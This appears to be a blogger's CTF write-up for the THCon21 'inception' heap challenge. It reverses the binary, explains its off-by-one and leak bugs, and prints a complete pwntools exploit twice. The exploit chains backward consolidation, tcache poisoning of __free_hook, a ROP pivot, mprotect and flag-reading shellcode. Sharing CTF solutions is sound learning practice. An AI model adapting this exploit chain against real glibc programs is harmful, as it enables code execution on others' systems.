f4d3

f4d3

InfoSec enthusiast | pwn | RE | CTF | BugBounty

THCon21{inception}

Hi everyone! Hope that everything’s doing good :D!

First of all, sorry for the off-time, I was getting everything ready on college in order to have time to play more ctf’s :D

This weekend, we participated as a team on the THCon CTF, which was very enyoyable, since it was a 24 hrs ctf (I personally love 24 hrs ctf, since it is more accesible for me and my team :D). With that said, lets see the challenge.

Summary

The problem is a classic heap related challenge where we have the following options:

Recon

Doing a little reversing we have the following functions:

Where we have the following problem on the setup() function.

which is basically that we will not have execve() for us, so, no one gadgets :(.

The read_int() function is used to get the number from stdin, note that read() is used with a 0x28 buffer (this will come handy after).

void read_int(void){
  long in_FS_OFFSET;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  read(0,&local_38,0x28);
  atoi((char *)&local_38);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

For the add() function, we have the following:


void add(void){
  uint idx;
  int size;
  char *chunk;
  
  idx = find_empty();
  if (idx == 0xffffffff) {
    puts("No more space.");
  }
  else {
    printf("Dream size: ");
    size = read_int();
    if ((size < 1) || (0x800 < size)) {
      puts("Invalid size.");
    }
    else {
      dreams_size[(int)idx] = size;
      chunk = (char *)malloc((long)size);
      dreams[(int)idx] = chunk;
      printf("Dream content: ");
                    /* No null terminated string, for arbitrary read */
      read(0,dreams[(int)idx],(long)size);
      printf("Dream #%d created.\n",(ulong)idx);
    }
  }
  return;
}


int find_empty(void){
  int k;
  
  k = 0;
  while( true ) {
    if (5 < k) {
      return -1;
    }
    if (dreams[k] == (char *)0x0) break;
    k = k + 1;
  }
  return k;
}

From here we have that, there’s 2 arrays on the BSS with six entries, one with chunk pointers and other with the respectives dream size. note that the input is no-null terminated, so we can abuse this to obtain an oob read. Another thing to notice, is that the index returned is the first null found.

The delete() function is the following.


void delete(void){
  int idx;
  
  idx = read_index();
  if (idx != -1) {
                    /* Free the dreams[idx];
                       and Zero both arrays of dreams 
                        dreams[idx];
                        dreams_size[idx]; */
    free(dreams[idx]);
    dreams[idx] = (char *)0x0;
    dreams_size[idx] = 0;
    puts("Dream deleted.");
  }
  return;
}

Nothing interesting here, it free the entry, and null the chunk and sizes entries.

The edit() function, is the following.

void edit(void){
  int idx;
  ssize_t amount;
  
  idx = read_index();
  if (idx != -1) {
    printf("New dream content: ");
    amount = read(0,dreams[idx],(long)dreams_size[idx]);
                    /* off by one bug,
                       setting a nullbyte on the last+1 byte */
    dreams[idx][(int)amount] = '\0';
  }
  return;
}

From here, we can see that the function reads dreams_size bytes, and add a null-byte after that read. which means that we have an off by one bug here.

The view function is the following

void view(void){
  int idx;
  
  idx = read_index();
  if (idx != -1) {
    printf("Dream content: %s\n",dreams[idx]);
  }
  return;
}

This allows us to view a chunk content, nothing fancy.

Exploitation

Now that we understand what the program does, and the respective bugs that it have, the plan to pwn this is the following:

  • Malloc a enough size chunk to not end in tcache (>0x410) .
  • Free that chunk letting it go to the unsorted bins.
  • Get the chunk from the unsorted bin, since it is not zeroed by the program, by viewing the chunk, we can get a leak from the fd and bk.
  • malloc a couple of tcache sized chunks and a big chunk after that.
  • Edit the big_chunk - 1 chunk and overwrite the big_chunk.prev_size and the big_chunk.prev_inuse bit to zero with the off by one bug.
  • Free the first big_chunk and the last free_chunk, since the &last_chunk - last_chunk.prev_size points to the first big chunk and the last_chunk.prev_inuse is unset, it will do a backwards consolidation, placing a veeeeeery big chunk into the unsorted bin, starting where the first big chunk was.
  • By allocating again a big chunk, it will be the consolidated chunk placed at the unsorted bin.
  • Overwrite the fd pointer of the tcache's chunks that are inside the big chunk.
  • Do malloc in order to get a chunk pointing to the heap_base and the free_hook by doing tcache poisoning.
  • Overwrite the __free_hook with a gadget that lets us start a mini rop chain. (use the read_int() bytes to achieve this).
  • Change rsp to a heap chunk.
  • Do rop in order to mprotect(heap, 0x1000, RWX), (or do a big ropchain).
  • Execute the heap. :)

With that said, starting the exploit skeleton. (I’ll comment the code in order to understand each line)

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"

p_name = "./inception"  ## change for the challenge name
DEBUG = 1

elf = ELF(p_name)
libc = ELF("./libc.so.6")

if DEBUG:
    commands = '''continue
    b * add
    b * delete
    b * edit
    b * view
    b * {long long int}(&__free_hook)
    '''
    p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc.so.6"})
    
else:
    p = remote("remote2.thcon.party",10904)
    
    

def f():
    p.recvuntil("> ")

def malloc(size, content):
    p.sendline(b'1')
    p.recvuntil(b'size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'content: ')
    p.send(content) 
    f()

def delete(idx):
    p.sendline(b'2')
    p.sendafter(b"index: ", str(idx))

    f()

def edit(idx, content):
    p.sendline(b'3')
    p.sendlineafter(b"index: ", str(idx) )
    p.sendafter(b'content: ', content )
    f()

def view(idx, leak = False):
    p.sendline(b'4')
    p.sendlineafter(b'index: ', str(idx))

    if leak:
        p.recvuntil("content: ")
        leak = p.recvline().strip()[-6:]
        print(leak)
        f()
        return leak
    f()


## begin
f()




malloc(0x500-8 , b'B' * 0x4)    #   idx 0 is returned
malloc(0x30 , b'C' * 0x4)       #   idx 1 is returned
delete(0)                       #   idx 0 removed, chunk placed in unsorted bin

malloc(0x500-8, b'B' * 0x8)     #   idx 0 returned, since its not zeroed, and no null-byte terminated, we can view the libc leak from here by viewing the chunk


leak = view(0, leak=True).strip()
leak = leak.ljust(8,b'\x00')
leak = u64(leak)

libc_base       =   leak - 0x3ebca0
libc.address    =   libc_base
free_hook       =   libc.sym['__free_hook']
mprotect        =   libc.sym['mprotect']


log.info("Libc leak:    %s  "   %   hex(leak) )
log.info("Libc base:    %s  "   %   hex(libc_base) )
log.info("Free_hook:    %s  "   %   hex(libc.sym['__free_hook']) )


With the libc base, we can malloc tcache's chunks in between and another big chunk at the end.

#....

log.info("Libc leak:    %s  "   %   hex(leak) )
log.info("Libc base:    %s  "   %   hex(libc_base) )
log.info("Free_hook:    %s  "   %   hex(libc.sym['__free_hook']) )

malloc(0x50 - 8 , b'D' * 0x4)   #   idx 2 is returned
malloc(0x70 - 8 , b'E' * 0x4)   #   idx 3 is returned
malloc(0x500 - 8, b'F' * 0x4)   #   idx 4 is returned
malloc(0x20 , b'E' * 0x4)       #   idx 5 is returned

payload = b''
payload += b'Y' * (0x70 - 0x10 )    
payload += p64( 0x600 )
edit(3, payload)                #   overwrite the dream[idx=4] prev_size and prev_inuse, in order to make it consolidate backwards


delete(0)                       #   place the first big chunk in to the unsorted bin
delete(1)                       #   free a tcache chunk
delete(2)                       #   free a tcache chunk
delete(4)                       #   Consolidate the big chunk backwards.

Note that the small chunks are inside of the memory region of the consolidated big chunk.

With this, we can now malloc a big chunk in order to get it from the unsorted bin and write on it in order to overwrite the tiny_chunk.fd pointer to do a tcache poisoning attack.


# ....
payload = b''
payload += b'A' * (0x4f0 + 24)

malloc(0x600, payload)          #   idx 0 is returned from the unsorted bin.

heap_base = view(0, leak=True).strip()
heap_base = heap_base.ljust(8, b'\x00')
heap_base = u64(heap_base) - 0x10
log.info("The heap: @   %s  "   %   hex(heap_base)  )

# make a payload to overwite the chunk.fd  pointer to the chunks that are placed inside this chunk memory region

payload = b''
payload += b'A' * (0x4f0)
payload += p64(0x00)
payload += p64(0x40)
payload += p64(libc.sym['__free_hook']) #   overwrite the fd pointer of a 0x40 chunk. The second malloc, will return a reference to &__free_hook
payload += p64(0x00)
payload += b'A' * (0x8 * 5)
payload += p64(0x51)                    # do the sabe for the 0x51 sized chunk, but this time, with the heap_base (this will break the entire heap)
payload += p64(heap_base)

edit(0,payload)

At this point we successfully overwrite the fd pointer of each tcache chunk.

With this done, we need 4 malloc() in order to get a reference to the __free_hook and the heap base.

# ...


malloc(0x40-8, p64(heap_base) )             #   idx 1 is returned, dummy malloc, now &heap_base is placed in the top of the tcache

# usefull gadgets
pop_4 = libc.address+0x00000000000221fd +1#   :  pop r13; pop r14; pop r15; pop rbp; ret;
rcx = libc.address +0x0000000000103d6a  #: pop rcx; pop rbx; ret;   
rdi = libc.address + 0x0000000000022203 #   : pop rdi; pop rbp; ret;
rsi = libc.address + 0x0000000000023eea #   : pop rsi; ret
rdx = libc.address + 0x0000000000001b96 #   : pop rdx; ret;                                                 
rdx_nopop = libc.address + 0x000000000014148d   #   : mov rdx, rax; ret;


delete(5)                       #   Delete the last tiny entry in order to get the `heap base` chunk reference (max 6 entries).
malloc(0x40-8, p64(pop_4) )     #   idx 2 is returned which is the __free_hook chunk, replace it with that pop_4 gadget
malloc(0x50-8, b'B')            #   idx 4 is returned, one more to get a `heap base reference`.   
malloc(0x50-8, b'C')            #   idx 5 is returned, heap base reference

With this done, now, we can abuse the 0x28 bytes on the read_int() function. Delete a chunk and send the payload as the “integer”. The function will parse the integer correctly, but our payload 24 bytes will be placed on the stack. Since we overwrite the __free_hook with a 4 pop - gadget, we can reach our payload on the stack to start our ropchain.

Since we just have 32 bytes to do the ropchain, I made the rsp register to point to the heap in order to get a bigger ropchain.

With that done, we can now:

  • call mprotect(heap, 0x1000, 0x7) in order to make the heap executable.
  • Jump to the heap placed shellcode.
  • Read the flag.
#...

yesno("Trigger mprotect ?")

main_rop = b''
main_rop += p64(rdx)                    #   main rop placed on the heap.
main_rop += p64(0x7)                    #   0x7 for RWX (third argument)
main_rop += p64(libc.sym['mprotect'])   #   call mprotect
main_rop += p64(heap_base + 0x260 + 32) #   ret to the heab shellcode.
main_rop += asm('''xor rax, rax
lea rdi, [rsp + 0x3e]
xor rsi, rsi
xor rdx, rdx
xor rax, rax
inc rax
inc rax
syscall
mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 40
xor rax, rax
syscall
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
''')
main_rop += b'/home/user/flag.txt\x00'

edit(0,main_rop)                        #   edit the bigger chunk in order to place the bigger ropchain

payload = b'5'.ljust(8,b'\x00')         #   place the tiny ropchain on the stack abusing the read_int() fucntion
payload += b''  
payload += p64(libc.address + 0x0000000000003960)
payload += p64(heap_base + 0x260)
p.sendline(b"2")
p.send(payload)
f()


#delete(0)

p.interactive()

The entire payload was the following

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"

p_name = "./inception"  ## change for the challenge name
DEBUG = 0

elf = ELF(p_name)
libc = ELF("./libc.so.6")

if DEBUG:
    commands = '''continue
    b * add
    b * delete
    b * edit
    b * view
    b * {long long int}(&__free_hook)
    '''
    p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc.so.6"})
    
else:
    p = remote("remote2.thcon.party",10904)
    
    

def f():
    p.recvuntil("> ")

def malloc(size, content):
    p.sendline(b'1')
    p.recvuntil(b'size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'content: ')
    p.send(content) 
    f()

def delete(idx):
    p.sendline(b'2')
    p.sendafter(b"index: ", str(idx))

    f()

def edit(idx, content):
    p.sendline(b'3')
    p.sendlineafter(b"index: ", str(idx) )
    p.sendafter(b'content: ', content )
    f()

def view(idx, leak = False):
    p.sendline(b'4')
    p.sendlineafter(b'index: ', str(idx))

    if leak:
        p.recvuntil("content: ")
        leak = p.recvline().strip()[-6:]
        print(leak)
        f()
        return leak
    f()


## begin
f()




malloc(0x500-8 , b'B' * 0x4)   # 0
malloc(0x30 , b'C' * 0x4)   # 1
delete(0)

malloc(0x500-8, b'B' * 0x8)     # 0

leak = view(0, leak=True).strip()
leak = leak.ljust(8,b'\x00')
leak = u64(leak)

libc_base       =   leak - 0x3ebca0
libc.address    =   libc_base
free_hook       =   libc.sym['__free_hook']
mprotect        =   libc.sym['mprotect']


log.info("Libc leak:    %s  "   %   hex(leak) )
log.info("Libc base:    %s  "   %   hex(libc_base) )
log.info("Free_hook:    %s  "   %   hex(libc.sym['__free_hook']) )

malloc(0x50 - 8 , b'D' * 0x4)   #   2
malloc(0x70 - 8 , b'E' * 0x4)   #   3  
malloc(0x500 - 8, b'F' * 0x4)   #   4
malloc(0x20 , b'E' * 0x4)   #   5

payload = b''
payload += b'Y' * (0x70 - 0x10 )
payload += p64( 0x600 )
edit(3, payload)


#yesno("delete?")
delete(0)
delete(1)
delete(2)
delete(4)

# Now, the chunk 4 is consolidated backwards, having a 0xb00 size chunk into the unsorted bin, which means, that freeing the middle chunks, we can overwrite those pointers by editting the new 0xb0 chunk


payload = b''
payload += b'A' * (0x4f0 + 24)

malloc(0x600, payload)  #   0

heap_base = view(0, leak=True).strip()
heap_base = heap_base.ljust(8, b'\x00')
heap_base = u64(heap_base) - 0x10
log.info("The heap: @   %s  "   %   hex(heap_base)  )

payload = b''
payload += b'A' * (0x4f0)
payload += p64(0x00)
payload += p64(0x40)
payload += p64(libc.sym['__free_hook']) #   overwrite the fd pointer of a 0x40 chunk, in order to the second malloc, we'll get a reference to __free_hook
payload += p64(0x00)
payload += b'A' * (0x8 * 5)
payload += p64(0x51)
payload += p64(heap_base)

edit(0,payload)


malloc(0x40-8, p64(heap_base) )    #1  

pop_4 = libc.address+0x00000000000221fd +1#   :  pop r13; pop r14; pop r15; pop rbp; ret;
rcx = libc.address +0x0000000000103d6a  #: pop rcx; pop rbx; ret;                                                                                                      
rdi = libc.address + 0x0000000000022203 #   : pop rdi; pop rbp; ret;                                                                                                            
rsi = libc.address + 0x0000000000023eea #   : pop rsi; ret;
rdx = libc.address + 0x0000000000001b96 #   : pop rdx; ret;                                                                                                        
rdx_nopop = libc.address + 0x000000000014148d   #   : mov rdx, rax; ret; 
dummy = libc.address +0x000000000009df8f#: add rsp, 8; jmp rax; 


delete(5)
malloc(0x40-8, p64(pop_4) ) #2 which is the __free_hook chunk
#malloc(0x40-8, p64(dummy2) ) #2 which is the __free_hook chunk
#yesno("what?")
malloc(0x50-8, b'B')    #   4
malloc(0x50-8, b'C')    #   5

yesno("Trigger mprotect ?")

main_rop = b''
main_rop += p64(rdx)
main_rop += p64(0x7)
main_rop += p64(libc.sym['mprotect'])
main_rop += p64(heap_base + 0x260 + 32)
main_rop += asm('''xor rax, rax
lea rdi, [rsp + 0x3e]
xor rsi, rsi
xor rdx, rdx
xor rax, rax
inc rax
inc rax
syscall
mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 40
xor rax, rax
syscall
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
''')
main_rop += b'/home/user/flag.txt\x00'

edit(0,main_rop)

payload = b'5'.ljust(8,b'\x00')
payload += b''
payload += p64(libc.address + 0x0000000000003960)
payload += p64(heap_base + 0x260)
p.sendline(b"2")
p.send(payload)
f()



p.interactive()


With this, we can get the flag :D

THCon21{i5_7h15_b4byR0P_0r_B4byH34P???}

Thanks to the THC team for the CTF,,,, Hope that this make sense, any doubt, just ping me,

be safe,

cheers!

kjj